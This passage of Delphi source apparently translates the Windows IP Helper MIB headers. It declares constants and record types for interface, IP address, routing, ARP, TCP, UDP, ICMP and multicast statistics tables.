MAX_INTERFACE_NAME_LEN = 256; // MPRAPI.H
{$EXTERNALSYM MAX_INTERFACE_NAME_LEN}

IPRTRMGR_PID = 10000;
{$EXTERNALSYM IPRTRMGR_PID}

ANY_SIZE = 1;
{$EXTERNALSYM ANY_SIZE}

//////////////////////////////////////////////////////////////////////////////
// //
// The following #defines are the Ids of the MIB variables made accessible //
// to the user via MprAdminMIBXXX Apis. It will be noticed that these are //
// not the same as RFC 1213, since the MprAdminMIBXXX APIs work on rows and //
// groups instead of scalar variables //
// //
//////////////////////////////////////////////////////////////////////////////

IF_NUMBER = 0;
{$EXTERNALSYM IF_NUMBER}
IF_TABLE = IF_NUMBER + 1;
{$EXTERNALSYM IF_TABLE}
IF_ROW = IF_TABLE + 1;
{$EXTERNALSYM IF_ROW}
IP_STATS = IF_ROW + 1;
{$EXTERNALSYM IP_STATS}
IP_ADDRTABLE = IP_STATS + 1;
{$EXTERNALSYM IP_ADDRTABLE}
IP_ADDRROW = IP_ADDRTABLE + 1;
{$EXTERNALSYM IP_ADDRROW}
IP_FORWARDNUMBER = IP_ADDRROW + 1;
{$EXTERNALSYM IP_FORWARDNUMBER}
IP_FORWARDTABLE = IP_FORWARDNUMBER + 1;
{$EXTERNALSYM IP_FORWARDTABLE}
IP_FORWARDROW = IP_FORWARDTABLE + 1;
{$EXTERNALSYM IP_FORWARDROW}
IP_NETTABLE = IP_FORWARDROW + 1;
{$EXTERNALSYM IP_NETTABLE}
IP_NETROW = IP_NETTABLE + 1;
{$EXTERNALSYM IP_NETROW}
ICMP_STATS = IP_NETROW + 1;
{$EXTERNALSYM ICMP_STATS}
TCP_STATS = ICMP_STATS + 1;
{$EXTERNALSYM TCP_STATS}
TCP_TABLE = TCP_STATS + 1;
{$EXTERNALSYM TCP_TABLE}
TCP_ROW = TCP_TABLE + 1;
{$EXTERNALSYM TCP_ROW}
UDP_STATS = TCP_ROW + 1;
{$EXTERNALSYM UDP_STATS}
UDP_TABLE = UDP_STATS + 1;
{$EXTERNALSYM UDP_TABLE}
UDP_ROW = UDP_TABLE + 1;
{$EXTERNALSYM UDP_ROW}
MCAST_MFE = UDP_ROW + 1;
{$EXTERNALSYM MCAST_MFE}
MCAST_MFE_STATS = MCAST_MFE + 1;
{$EXTERNALSYM MCAST_MFE_STATS}
BEST_IF = MCAST_MFE_STATS + 1;
{$EXTERNALSYM BEST_IF}
BEST_ROUTE = BEST_IF + 1;
{$EXTERNALSYM BEST_ROUTE}
PROXY_ARP = BEST_ROUTE + 1;
{$EXTERNALSYM PROXY_ARP}
MCAST_IF_ENTRY = PROXY_ARP + 1;
{$EXTERNALSYM MCAST_IF_ENTRY}
MCAST_GLOBAL = MCAST_IF_ENTRY + 1;
{$EXTERNALSYM MCAST_GLOBAL}
IF_STATUS = MCAST_GLOBAL + 1;
{$EXTERNALSYM IF_STATUS}
MCAST_BOUNDARY = IF_STATUS + 1;
{$EXTERNALSYM MCAST_BOUNDARY}
MCAST_SCOPE = MCAST_BOUNDARY + 1;
{$EXTERNALSYM MCAST_SCOPE}
DEST_MATCHING = MCAST_SCOPE + 1;
{$EXTERNALSYM DEST_MATCHING}
DEST_LONGER = DEST_MATCHING + 1;
{$EXTERNALSYM DEST_LONGER}
DEST_SHORTER = DEST_LONGER + 1;
{$EXTERNALSYM DEST_SHORTER}
ROUTE_MATCHING = DEST_SHORTER + 1;
{$EXTERNALSYM ROUTE_MATCHING}
ROUTE_LONGER = ROUTE_MATCHING + 1;
{$EXTERNALSYM ROUTE_LONGER}
ROUTE_SHORTER = ROUTE_LONGER + 1;
{$EXTERNALSYM ROUTE_SHORTER}
ROUTE_STATE = ROUTE_SHORTER + 1;
{$EXTERNALSYM ROUTE_STATE}

NUMBER_OF_EXPORTED_VARIABLES = ROUTE_STATE + 1;
{$EXTERNALSYM NUMBER_OF_EXPORTED_VARIABLES}

//////////////////////////////////////////////////////////////////////////////
// //
// MIB_OPAQUE_QUERY is the structure filled in by the user to identify a //
// MIB variable //
// //
// dwVarId ID of MIB Variable (One of the Ids #defined above) //
// dwVarIndex Variable sized array containing the indices needed to //
// identify a variable. NOTE: Unlike SNMP we dont require that //
// a scalar variable be indexed by 0 //
// //
//////////////////////////////////////////////////////////////////////////////

type
PMIB_OPAQUE_QUERY = ^MIB_OPAQUE_QUERY;
{$EXTERNALSYM PMIB_OPAQUE_QUERY}
_MIB_OPAQUE_QUERY = record
dwVarId: DWORD;
rgdwVarIndex: array [0..ANY_SIZE - 1] of DWORD;
end;
{$EXTERNALSYM _MIB_OPAQUE_QUERY}
MIB_OPAQUE_QUERY = _MIB_OPAQUE_QUERY;
{$EXTERNALSYM MIB_OPAQUE_QUERY}
TMibOpaqueQuery = MIB_OPAQUE_QUERY;
PMibOpaqueQuery = PMIB_OPAQUE_QUERY;

//////////////////////////////////////////////////////////////////////////////
// //
// The following are the structures which are filled in and returned to the //
// user when a query is made, OR are filled in BY THE USER when a set is //
// done //
// //
//////////////////////////////////////////////////////////////////////////////

type
PMIB_IFNUMBER = ^MIB_IFNUMBER;
{$EXTERNALSYM PMIB_IFNUMBER}
_MIB_IFNUMBER = record
dwValue: DWORD;
end;
{$EXTERNALSYM _MIB_IFNUMBER}
MIB_IFNUMBER = _MIB_IFNUMBER;
{$EXTERNALSYM MIB_IFNUMBER}
TMibIfnumber = MIB_IFNUMBER;
PMibIfnumber = PMIB_IFNUMBER;

const
MAXLEN_IFDESCR = 256;
{$EXTERNALSYM MAXLEN_IFDESCR}
MAXLEN_PHYSADDR = 8;
{$EXTERNALSYM MAXLEN_PHYSADDR}

type
PMIB_IFROW = ^MIB_IFROW;
{$EXTERNALSYM PMIB_IFROW}
_MIB_IFROW = record
wszName: array [0..MAX_INTERFACE_NAME_LEN - 1] of WCHAR;
dwIndex: DWORD;
dwType: DWORD;
dwMtu: DWORD;
dwSpeed: DWORD;
dwPhysAddrLen: DWORD;
bPhysAddr: array [0..MAXLEN_PHYSADDR - 1] of BYTE;
dwAdminStatus: DWORD;
dwOperStatus: DWORD;
dwLastChange: DWORD;
dwInOctets: DWORD;
dwInUcastPkts: DWORD;
dwInNUcastPkts: DWORD;
dwInDiscards: DWORD;
dwInErrors: DWORD;
dwInUnknownProtos: DWORD;
dwOutOctets: DWORD;
dwOutUcastPkts: DWORD;
dwOutNUcastPkts: DWORD;
dwOutDiscards: DWORD;
dwOutErrors: DWORD;
dwOutQLen: DWORD;
dwDescrLen: DWORD;
bDescr: array[0..MAXLEN_IFDESCR - 1] of BYTE;
end;
{$EXTERNALSYM _MIB_IFROW}
MIB_IFROW = _MIB_IFROW;
{$EXTERNALSYM MIB_IFROW}
TMibIfRow = MIB_IFROW;
PMibIfRow = PMIB_IFROW;

PMIB_IFTABLE = ^MIB_IFTABLE;
{$EXTERNALSYM PMIB_IFTABLE}
_MIB_IFTABLE = record
dwNumEntries: DWORD;
table: array [0..ANY_SIZE - 1] of MIB_IFROW;
end;
{$EXTERNALSYM _MIB_IFTABLE}
MIB_IFTABLE = _MIB_IFTABLE;
{$EXTERNALSYM MIB_IFTABLE}
TMibIftable = MIB_IFTABLE;
PMibIftable = PMIB_IFTABLE;

// #define SIZEOF_IFTABLE(X) (FIELD_OFFSET(MIB_IFTABLE,table[0]) + ((X) * sizeof(MIB_IFROW)) + ALIGN_SIZE)

type
PMibIcmpStats = ^TMibIcmpStats;
_MIBICMPSTATS = record
dwMsgs: DWORD;
dwErrors: DWORD;
dwDestUnreachs: DWORD;
dwTimeExcds: DWORD;
dwParmProbs: DWORD;
dwSrcQuenchs: DWORD;
dwRedirects: DWORD;
dwEchos: DWORD;
dwEchoReps: DWORD;
dwTimestamps: DWORD;
dwTimestampReps: DWORD;
dwAddrMasks: DWORD;
dwAddrMaskReps: DWORD;
end;
{$EXTERNALSYM _MIBICMPSTATS}
MIBICMPSTATS = _MIBICMPSTATS;
{$EXTERNALSYM MIBICMPSTATS}
TMibIcmpStats = _MIBICMPSTATS;

PMibIcmpInfo = ^TMibIcmpInfo;
_MIBICMPINFO = record
icmpInStats: MIBICMPSTATS;
icmpOutStats: MIBICMPSTATS;
end;
{$EXTERNALSYM _MIBICMPINFO}
MIBICMPINFO = _MIBICMPINFO;
{$EXTERNALSYM MIBICMPINFO}
TMibIcmpInfo = MIBICMPINFO;

PMIB_ICMP = ^MIB_ICMP;
{$EXTERNALSYM PMIB_ICMP}
_MIB_ICMP = record
stats: MIBICMPINFO;
end;
{$EXTERNALSYM _MIB_ICMP}
MIB_ICMP = _MIB_ICMP;
{$EXTERNALSYM MIB_ICMP}
TMibIcmp = MIB_ICMP;
PMibIcmp = PMIB_ICMP;

PMIB_UDPSTATS = ^MIB_UDPSTATS;
{$EXTERNALSYM PMIB_UDPSTATS}
_MIB_UDPSTATS = record
dwInDatagrams: DWORD;
dwNoPorts: DWORD;
dwInErrors: DWORD;
dwOutDatagrams: DWORD;
dwNumAddrs: DWORD;
end;
{$EXTERNALSYM _MIB_UDPSTATS}
MIB_UDPSTATS = _MIB_UDPSTATS;
{$EXTERNALSYM MIB_UDPSTATS}
TMibUdpStats = MIB_UDPSTATS;
PMibUdpStats = PMIB_UDPSTATS;

PMIB_UDPROW = ^MIB_UDPROW;
{$EXTERNALSYM PMIB_UDPROW}
_MIB_UDPROW = record
dwLocalAddr: DWORD;
dwLocalPort: DWORD;
end;
{$EXTERNALSYM _MIB_UDPROW}
MIB_UDPROW = _MIB_UDPROW;
{$EXTERNALSYM MIB_UDPROW}
TMibUdpRow = MIB_UDPROW;
PMibUdpRow = PMIB_UDPROW;

PMIB_UDPTABLE = ^MIB_UDPTABLE;
{$EXTERNALSYM PMIB_UDPTABLE}
_MIB_UDPTABLE = record
dwNumEntries: DWORD;
table: array [0..ANY_SIZE - 1] of MIB_UDPROW;
end;
{$EXTERNALSYM _MIB_UDPTABLE}
MIB_UDPTABLE = _MIB_UDPTABLE;
{$EXTERNALSYM MIB_UDPTABLE}
TMibUdpTable = MIB_UDPTABLE;
PMibUdpTable = PMIB_UDPTABLE;

// #define SIZEOF_UDPTABLE(X) (FIELD_OFFSET(MIB_UDPTABLE, table[0]) + ((X) * sizeof(MIB_UDPROW)) + ALIGN_SIZE)

PMIB_TCPSTATS = ^MIB_TCPSTATS;
{$EXTERNALSYM PMIB_TCPSTATS}
_MIB_TCPSTATS = record
dwRtoAlgorithm: DWORD;
dwRtoMin: DWORD;
dwRtoMax: DWORD;
dwMaxConn: DWORD;
dwActiveOpens: DWORD;
dwPassiveOpens: DWORD;
dwAttemptFails: DWORD;
dwEstabResets: DWORD;
dwCurrEstab: DWORD;
dwInSegs: DWORD;
dwOutSegs: DWORD;
dwRetransSegs: DWORD;
dwInErrs: DWORD;
dwOutRsts: DWORD;
dwNumConns: DWORD;
end;
{$EXTERNALSYM _MIB_TCPSTATS}
MIB_TCPSTATS = _MIB_TCPSTATS;
{$EXTERNALSYM MIB_TCPSTATS}
TMibTcpStats = MIB_TCPSTATS;
PMibTcpStats = PMIB_TCPSTATS;

const
MIB_TCP_RTO_OTHER = 1;
{$EXTERNALSYM MIB_TCP_RTO_OTHER}
MIB_TCP_RTO_CONSTANT = 2;
{$EXTERNALSYM MIB_TCP_RTO_CONSTANT}
MIB_TCP_RTO_RSRE = 3;
{$EXTERNALSYM MIB_TCP_RTO_RSRE}
MIB_TCP_RTO_VANJ = 4;
{$EXTERNALSYM MIB_TCP_RTO_VANJ}

MIB_TCP_MAXCONN_DYNAMIC = DWORD(-1);
{$EXTERNALSYM MIB_TCP_MAXCONN_DYNAMIC}

type
PMIB_TCPROW = ^MIB_TCPROW;
{$EXTERNALSYM PMIB_TCPROW}
_MIB_TCPROW = record
dwState: DWORD;
dwLocalAddr: DWORD;
dwLocalPort: DWORD;
dwRemoteAddr: DWORD;
dwRemotePort: DWORD;
end;
{$EXTERNALSYM _MIB_TCPROW}
MIB_TCPROW = _MIB_TCPROW;
{$EXTERNALSYM MIB_TCPROW}
TMibTcpRow = MIB_TCPROW;
PMibTcpRow = PMIB_TCPROW;

const
MIB_TCP_STATE_CLOSED = 1;
{$EXTERNALSYM MIB_TCP_STATE_CLOSED}
MIB_TCP_STATE_LISTEN = 2;
{$EXTERNALSYM MIB_TCP_STATE_LISTEN}
MIB_TCP_STATE_SYN_SENT = 3;
{$EXTERNALSYM MIB_TCP_STATE_SYN_SENT}
MIB_TCP_STATE_SYN_RCVD = 4;
{$EXTERNALSYM MIB_TCP_STATE_SYN_RCVD}
MIB_TCP_STATE_ESTAB = 5;
{$EXTERNALSYM MIB_TCP_STATE_ESTAB}
MIB_TCP_STATE_FIN_WAIT1 = 6;
{$EXTERNALSYM MIB_TCP_STATE_FIN_WAIT1}
MIB_TCP_STATE_FIN_WAIT2 = 7;
{$EXTERNALSYM MIB_TCP_STATE_FIN_WAIT2}
MIB_TCP_STATE_CLOSE_WAIT = 8;
{$EXTERNALSYM MIB_TCP_STATE_CLOSE_WAIT}
MIB_TCP_STATE_CLOSING = 9;
{$EXTERNALSYM MIB_TCP_STATE_CLOSING}
MIB_TCP_STATE_LAST_ACK = 10;
{$EXTERNALSYM MIB_TCP_STATE_LAST_ACK}
MIB_TCP_STATE_TIME_WAIT = 11;
{$EXTERNALSYM MIB_TCP_STATE_TIME_WAIT}
MIB_TCP_STATE_DELETE_TCB = 12;
{$EXTERNALSYM MIB_TCP_STATE_DELETE_TCB}

type
PMIB_TCPTABLE = ^MIB_TCPTABLE;
{$EXTERNALSYM PMIB_TCPTABLE}
_MIB_TCPTABLE = record
dwNumEntries: DWORD;
table: array [0..ANY_SIZE - 1] of MIB_TCPROW;
end;
{$EXTERNALSYM _MIB_TCPTABLE}
MIB_TCPTABLE = _MIB_TCPTABLE;
{$EXTERNALSYM MIB_TCPTABLE}
TMibTcpTable = MIB_TCPTABLE;
PMibTcpTable = PMIB_TCPTABLE;

// #define SIZEOF_TCPTABLE(X) (FIELD_OFFSET(MIB_TCPTABLE,table[0]) + ((X) * sizeof(MIB_TCPROW)) + ALIGN_SIZE)

const
MIB_USE_CURRENT_TTL = DWORD(-1);
{$EXTERNALSYM MIB_USE_CURRENT_TTL}
MIB_USE_CURRENT_FORWARDING = DWORD(-1);
{$EXTERNALSYM MIB_USE_CURRENT_FORWARDING}

type
PMIB_IPSTATS = ^MIB_IPSTATS;
{$EXTERNALSYM PMIB_IPSTATS}
_MIB_IPSTATS = record
dwForwarding: DWORD;
dwDefaultTTL: DWORD;
dwInReceives: DWORD;
dwInHdrErrors: DWORD;
dwInAddrErrors: DWORD;
dwForwDatagrams: DWORD;
dwInUnknownProtos: DWORD;
dwInDiscards: DWORD;
dwInDelivers: DWORD;
dwOutRequests: DWORD;
dwRoutingDiscards: DWORD;
dwOutDiscards: DWORD;
dwOutNoRoutes: DWORD;
dwReasmTimeout: DWORD;
dwReasmReqds: DWORD;
dwReasmOks: DWORD;
dwReasmFails: DWORD;
dwFragOks: DWORD;
dwFragFails: DWORD;
dwFragCreates: DWORD;
dwNumIf: DWORD;
dwNumAddr: DWORD;
dwNumRoutes: DWORD;
end;
{$EXTERNALSYM _MIB_IPSTATS}
MIB_IPSTATS = _MIB_IPSTATS;
{$EXTERNALSYM MIB_IPSTATS}
TMibIpStats = MIB_IPSTATS;
PMibIpStats = PMIB_IPSTATS;

const
MIB_IP_FORWARDING = 1;
{$EXTERNALSYM MIB_IP_FORWARDING}
MIB_IP_NOT_FORWARDING = 2;
{$EXTERNALSYM MIB_IP_NOT_FORWARDING}

type
PMIB_IPADDRROW = ^MIB_IPADDRROW;
{$EXTERNALSYM PMIB_IPADDRROW}
_MIB_IPADDRROW = record
dwAddr: DWORD;
dwIndex: DWORD;
dwMask: DWORD;
dwBCastAddr: DWORD;
dwReasmSize: DWORD;
unused1: Word;
unused2: Word;
end;
{$EXTERNALSYM _MIB_IPADDRROW}
MIB_IPADDRROW = _MIB_IPADDRROW;
{$EXTERNALSYM MIB_IPADDRROW}
TMibIpAddrRow = MIB_IPADDRROW;
PMibIpAddrRow = PMIB_IPADDRROW;

PMIB_IPADDRTABLE = ^MIB_IPADDRTABLE;
{$EXTERNALSYM PMIB_IPADDRTABLE}
_MIB_IPADDRTABLE = record
dwNumEntries: DWORD;
table: array [0..ANY_SIZE - 1] of MIB_IPADDRROW;
end;
{$EXTERNALSYM _MIB_IPADDRTABLE}
MIB_IPADDRTABLE = _MIB_IPADDRTABLE;
{$EXTERNALSYM MIB_IPADDRTABLE}
TMibIpAddrTable = _MIB_IPADDRTABLE;
PMibIpAddrTable = PMIB_IPADDRTABLE;

// #define SIZEOF_IPADDRTABLE(X) (FIELD_OFFSET(MIB_IPADDRTABLE,table[0]) + ((X) * sizeof(MIB_IPADDRROW)) + ALIGN_SIZE)

type
PMIB_IPFORWARDNUMBER = ^MIB_IPFORWARDNUMBER;
{$EXTERNALSYM PMIB_IPFORWARDNUMBER}
_MIB_IPFORWARDNUMBER = record
dwValue: DWORD;
end;
{$EXTERNALSYM _MIB_IPFORWARDNUMBER}
MIB_IPFORWARDNUMBER = _MIB_IPFORWARDNUMBER;
{$EXTERNALSYM MIB_IPFORWARDNUMBER}
TMibIpForwardNumber = MIB_IPFORWARDNUMBER;
PMibIpForwardNumber = PMIB_IPFORWARDNUMBER;

PMIB_IPFORWARDROW = ^MIB_IPFORWARDROW;
{$EXTERNALSYM PMIB_IPFORWARDROW}
_MIB_IPFORWARDROW = record
dwForwardDest: DWORD;
dwForwardMask: DWORD;
dwForwardPolicy: DWORD;
dwForwardNextHop: DWORD;
dwForwardIfIndex: DWORD;
dwForwardType: DWORD;
dwForwardProto: DWORD;
dwForwardAge: DWORD;
dwForwardNextHopAS: DWORD;
dwForwardMetric1: DWORD;
dwForwardMetric2: DWORD;
dwForwardMetric3: DWORD;
dwForwardMetric4: DWORD;
dwForwardMetric5: DWORD;
end;
{$EXTERNALSYM _MIB_IPFORWARDROW}
MIB_IPFORWARDROW = _MIB_IPFORWARDROW;
{$EXTERNALSYM MIB_IPFORWARDROW}
TMibIpForwardRow = MIB_IPFORWARDROW;
PMibIpForwardRow = PMIB_IPFORWARDROW;

const
MIB_IPROUTE_TYPE_OTHER = 1;
{$EXTERNALSYM MIB_IPROUTE_TYPE_OTHER}
MIB_IPROUTE_TYPE_INVALID = 2;
{$EXTERNALSYM MIB_IPROUTE_TYPE_INVALID}
MIB_IPROUTE_TYPE_DIRECT = 3;
{$EXTERNALSYM MIB_IPROUTE_TYPE_DIRECT}
MIB_IPROUTE_TYPE_INDIRECT = 4;
{$EXTERNALSYM MIB_IPROUTE_TYPE_INDIRECT}

MIB_IPROUTE_METRIC_UNUSED = DWORD(-1);
{$EXTERNALSYM MIB_IPROUTE_METRIC_UNUSED}

//
// THESE MUST MATCH the ids in routprot.h
//

const
MIB_IPPROTO_OTHER = 1;
{$EXTERNALSYM MIB_IPPROTO_OTHER}
MIB_IPPROTO_LOCAL = 2;
{$EXTERNALSYM MIB_IPPROTO_LOCAL}
MIB_IPPROTO_NETMGMT = 3;
{$EXTERNALSYM MIB_IPPROTO_NETMGMT}
MIB_IPPROTO_ICMP = 4;
{$EXTERNALSYM MIB_IPPROTO_ICMP}
MIB_IPPROTO_EGP = 5;
{$EXTERNALSYM MIB_IPPROTO_EGP}
MIB_IPPROTO_GGP = 6;
{$EXTERNALSYM MIB_IPPROTO_GGP}
MIB_IPPROTO_HELLO = 7;
{$EXTERNALSYM MIB_IPPROTO_HELLO}
MIB_IPPROTO_RIP = 8;
{$EXTERNALSYM MIB_IPPROTO_RIP}
MIB_IPPROTO_IS_IS = 9;
{$EXTERNALSYM MIB_IPPROTO_IS_IS}
MIB_IPPROTO_ES_IS = 10;
{$EXTERNALSYM MIB_IPPROTO_ES_IS}
MIB_IPPROTO_CISCO = 11;
{$EXTERNALSYM MIB_IPPROTO_CISCO}
MIB_IPPROTO_BBN = 12;
{$EXTERNALSYM MIB_IPPROTO_BBN}
MIB_IPPROTO_OSPF = 13;
{$EXTERNALSYM MIB_IPPROTO_OSPF}
MIB_IPPROTO_BGP = 14;
{$EXTERNALSYM MIB_IPPROTO_BGP}

MIB_IPPROTO_NT_AUTOSTATIC = 10002;
{$EXTERNALSYM MIB_IPPROTO_NT_AUTOSTATIC}
MIB_IPPROTO_NT_STATIC = 10006;
{$EXTERNALSYM MIB_IPPROTO_NT_STATIC}
MIB_IPPROTO_NT_STATIC_NON_DOD = 10007;
{$EXTERNALSYM MIB_IPPROTO_NT_STATIC_NON_DOD}

type
PMIB_IPFORWARDTABLE = ^MIB_IPFORWARDTABLE;
{$EXTERNALSYM PMIB_IPFORWARDTABLE}
_MIB_IPFORWARDTABLE = record
dwNumEntries: DWORD;
table: array [0..ANY_SIZE - 1] of MIB_IPFORWARDROW;
end;
{$EXTERNALSYM _MIB_IPFORWARDTABLE}
MIB_IPFORWARDTABLE = _MIB_IPFORWARDTABLE;
{$EXTERNALSYM MIB_IPFORWARDTABLE}
TMibIpForwardTable = MIB_IPFORWARDTABLE;
PMibIpForwardTable = PMIB_IPFORWARDTABLE;

// #define SIZEOF_IPFORWARDTABLE(X) (FIELD_OFFSET(MIB_IPFORWARDTABLE,table[0]) + ((X) * sizeof(MIB_IPFORWARDROW)) + ALIGN_SIZE)

type
PMIB_IPNETROW = ^MIB_IPNETROW;
{$EXTERNALSYM PMIB_IPNETROW}
_MIB_IPNETROW = record
dwIndex: DWORD;
dwPhysAddrLen: DWORD;
bPhysAddr: array [0..MAXLEN_PHYSADDR - 1] of BYTE;
dwAddr: DWORD;
dwType: DWORD;
end;
{$EXTERNALSYM _MIB_IPNETROW}
MIB_IPNETROW = _MIB_IPNETROW;
{$EXTERNALSYM MIB_IPNETROW}
TMibIpNetRow = MIB_IPNETROW;
PMibIpNetRow = PMIB_IPNETROW;

const
MIB_IPNET_TYPE_OTHER = 1;
{$EXTERNALSYM MIB_IPNET_TYPE_OTHER}
MIB_IPNET_TYPE_INVALID = 2;
{$EXTERNALSYM MIB_IPNET_TYPE_INVALID}
MIB_IPNET_TYPE_DYNAMIC = 3;
{$EXTERNALSYM MIB_IPNET_TYPE_DYNAMIC}
MIB_IPNET_TYPE_STATIC = 4;
{$EXTERNALSYM MIB_IPNET_TYPE_STATIC}

type
PMIB_IPNETTABLE = ^MIB_IPNETTABLE;
{$EXTERNALSYM PMIB_IPNETTABLE}
_MIB_IPNETTABLE = record
dwNumEntries: DWORD;
table: array [0..ANY_SIZE - 1] of MIB_IPNETROW;
end;
{$EXTERNALSYM _MIB_IPNETTABLE}
MIB_IPNETTABLE = _MIB_IPNETTABLE;
{$EXTERNALSYM MIB_IPNETTABLE}
TMibIpNetTable = MIB_IPNETTABLE;
PMibIpNetTable = PMIB_IPNETTABLE;

// #define SIZEOF_IPNETTABLE(X) (FIELD_OFFSET(MIB_IPNETTABLE, table[0]) + ((X) * sizeof(MIB_IPNETROW)) + ALIGN_SIZE)

type
PMIB_IPMCAST_OIF = ^MIB_IPMCAST_OIF;
{$EXTERNALSYM PMIB_IPMCAST_OIF}
_MIB_IPMCAST_OIF = record
dwOutIfIndex: DWORD;
dwNextHopAddr: DWORD;
pvReserved: Pointer;
dwReserved: DWORD;
end;
{$EXTERNALSYM _MIB_IPMCAST_OIF}
MIB_IPMCAST_OIF = _MIB_IPMCAST_OIF;
{$EXTERNALSYM MIB_IPMCAST_OIF}
TMibIpmCastOif = MIB_IPMCAST_OIF;
PMibIpmCastOif = PMIB_IPMCAST_OIF;

PMIB_IPMCAST_MFE = ^MIB_IPMCAST_MFE;
{$EXTERNALSYM PMIB_IPMCAST_MFE}
_MIB_IPMCAST_MFE = record
dwGroup: DWORD;
dwSource: DWORD;
dwSrcMask: DWORD;
dwUpStrmNgbr: DWORD;
dwInIfIndex: DWORD;
dwInIfProtocol: DWORD;
dwRouteProtocol: DWORD;
dwRouteNetwork: DWORD;
dwRouteMask: DWORD;
ulUpTime: ULONG;
ulExpiryTime: ULONG;
ulTimeOut: ULONG;
ulNumOutIf: ULONG;
fFlags: DWORD;
dwReserved: DWORD;
rgmioOutInfo: array [0..ANY_SIZE - 1] of MIB_IPMCAST_OIF;
end;
{$EXTERNALSYM _MIB_IPMCAST_MFE}
MIB_IPMCAST_MFE = _MIB_IPMCAST_MFE;
{$EXTERNALSYM MIB_IPMCAST_MFE}
TMibIpmCastMfe = MIB_IPMCAST_MFE;
PMibIpmCastMfe = PMIB_IPMCAST_MFE;

PMIB_MFE_TABLE = ^MIB_MFE_TABLE;
{$EXTERNALSYM PMIB_MFE_TABLE}
_MIB_MFE_TABLE = record
dwNumEntries: DWORD;
table: array [0..ANY_SIZE - 1] of MIB_IPMCAST_MFE;
end;
{$EXTERNALSYM _MIB_MFE_TABLE}
MIB_MFE_TABLE = _MIB_MFE_TABLE;
{$EXTERNALSYM MIB_MFE_TABLE}
TMibMfeTable = MIB_MFE_TABLE;
PMibMfeTable = PMIB_MFE_TABLE;


// #define SIZEOF_BASIC_MIB_MFE /
// (ULONG)(FIELD_OFFSET(MIB_IPMCAST_MFE, rgmioOutInfo[0]))

// #define SIZEOF_MIB_MFE(X) /
// (SIZEOF_BASIC_MIB_MFE + ((X) * sizeof(MIB_IPMCAST_OIF)))

type
PMIB_IPMCAST_OIF_STATS = ^MIB_IPMCAST_OIF_STATS;
{$EXTERNALSYM PMIB_IPMCAST_OIF_STATS}
_MIB_IPMCAST_OIF_STATS = record
dwOutIfIndex: DWORD;
dwNextHopAddr: DWORD;
pvDialContext: Pointer;
ulTtlTooLow: ULONG;
ulFragNeeded: ULONG;
ulOutPackets: ULONG;
ulOutDiscards: ULONG;
end;
{$EXTERNALSYM _MIB_IPMCAST_OIF_STATS}
MIB_IPMCAST_OIF_STATS = _MIB_IPMCAST_OIF_STATS;
{$EXTERNALSYM MIB_IPMCAST_OIF_STATS}
TMibIpmCastOifStats = MIB_IPMCAST_OIF_STATS;
PMibIpmCastOifStats = PMIB_IPMCAST_OIF_STATS;

PMIB_IPMCAST_MFE_STATS = ^MIB_IPMCAST_MFE_STATS;
{$EXTERNALSYM PMIB_IPMCAST_MFE_STATS}
_MIB_IPMCAST_MFE_STATS = record
dwGroup: DWORD;
dwSource: DWORD;
dwSrcMask: DWORD;
dwUpStrmNgbr: DWORD;
dwInIfIndex: DWORD;
dwInIfProtocol: DWORD;
dwRouteProtocol: DWORD;
dwRouteNetwork: DWORD;
dwRouteMask: DWORD;
ulUpTime: ULONG;
ulExpiryTime: ULONG;
ulNumOutIf: ULONG;
ulInPkts: ULONG;
ulInOctets: ULONG;
ulPktsDifferentIf: ULONG;
ulQueueOverflow: ULONG;
rgmiosOutStats: array [0..ANY_SIZE - 1] of MIB_IPMCAST_OIF_STATS;
end;
{$EXTERNALSYM _MIB_IPMCAST_MFE_STATS}
MIB_IPMCAST_MFE_STATS = _MIB_IPMCAST_MFE_STATS;
{$EXTERNALSYM MIB_IPMCAST_MFE_STATS}
TMibIpmCastMfeStats = MIB_IPMCAST_MFE_STATS;
PMibIpmCastMfeStats = PMIB_IPMCAST_MFE_STATS;

PMIB_MFE_STATS_TABLE = ^MIB_MFE_STATS_TABLE;
{$EXTERNALSYM PMIB_MFE_STATS_TABLE}
_MIB_MFE_STATS_TABLE = record
dwNumEntries: DWORD;
table: array [0..ANY_SIZE - 1] of MIB_IPMCAST_MFE_STATS;
end;
{$EXTERNALSYM _MIB_MFE_STATS_TABLE}
MIB_MFE_STATS_TABLE = _MIB_MFE_STATS_TABLE;
{$EXTERNALSYM MIB_MFE_STATS_TABLE}
TMibMfeStatsTable = MIB_MFE_STATS_TABLE;
PMibMfeStatsTable = PMIB_MFE_STATS_TABLE;

// #define SIZEOF_BASIC_MIB_MFE_STATS /
// (ULONG)(FIELD_OFFSET(MIB_IPMCAST_MFE_STATS, rgmiosOutStats[0]))

// #define SIZEOF_MIB_MFE_STATS(X) /
// (SIZEOF_BASIC_MIB_MFE_STATS + ((X) * sizeof(MIB_IPMCAST_OIF_STATS)))

type
PMIB_IPMCAST_GLOBAL = ^MIB_IPMCAST_GLOBAL;
{$EXTERNALSYM PMIB_IPMCAST_GLOBAL}
_MIB_IPMCAST_GLOBAL = record
dwEnable: DWORD;
end;
{$EXTERNALSYM _MIB_IPMCAST_GLOBAL}
MIB_IPMCAST_GLOBAL = _MIB_IPMCAST_GLOBAL;
{$EXTERNALSYM MIB_IPMCAST_GLOBAL}
TMibIpmCastGlobal = MIB_IPMCAST_GLOBAL;
PMibIpmCastGlobal = PMIB_IPMCAST_GLOBAL;

PMIB_IPMCAST_IF_ENTRY = ^MIB_IPMCAST_IF_ENTRY;
{$EXTERNALSYM PMIB_IPMCAST_IF_ENTRY}
_MIB_IPMCAST_IF_ENTRY = record
dwIfIndex: DWORD;
dwTtl: DWORD;
dwProtocol: DWORD;
dwRateLimit: DWORD;
ulInMcastOctets: ULONG;
ulOutMcastOctets: ULONG;
end;
{$EXTERNALSYM _MIB_IPMCAST_IF_ENTRY}
MIB_IPMCAST_IF_ENTRY = _MIB_IPMCAST_IF_ENTRY;
{$EXTERNALSYM MIB_IPMCAST_IF_ENTRY}
TMibIpmCastIfEntry = MIB_IPMCAST_IF_ENTRY;
PMibIpmCastIfEntry = PMIB_IPMCAST_IF_ENTRY;

PMIB_IPMCAST_IF_TABLE = ^MIB_IPMCAST_IF_TABLE;
{$EXTERNALSYM PMIB_IPMCAST_IF_TABLE}
_MIB_IPMCAST_IF_TABLE = record
dwNumEntries: DWORD;
table: array [0..ANY_SIZE - 1] of MIB_IPMCAST_IF_ENTRY;
end;
{$EXTERNALSYM _MIB_IPMCAST_IF_TABLE}
MIB_IPMCAST_IF_TABLE = _MIB_IPMCAST_IF_TABLE;
{$EXTERNALSYM MIB_IPMCAST_IF_TABLE}
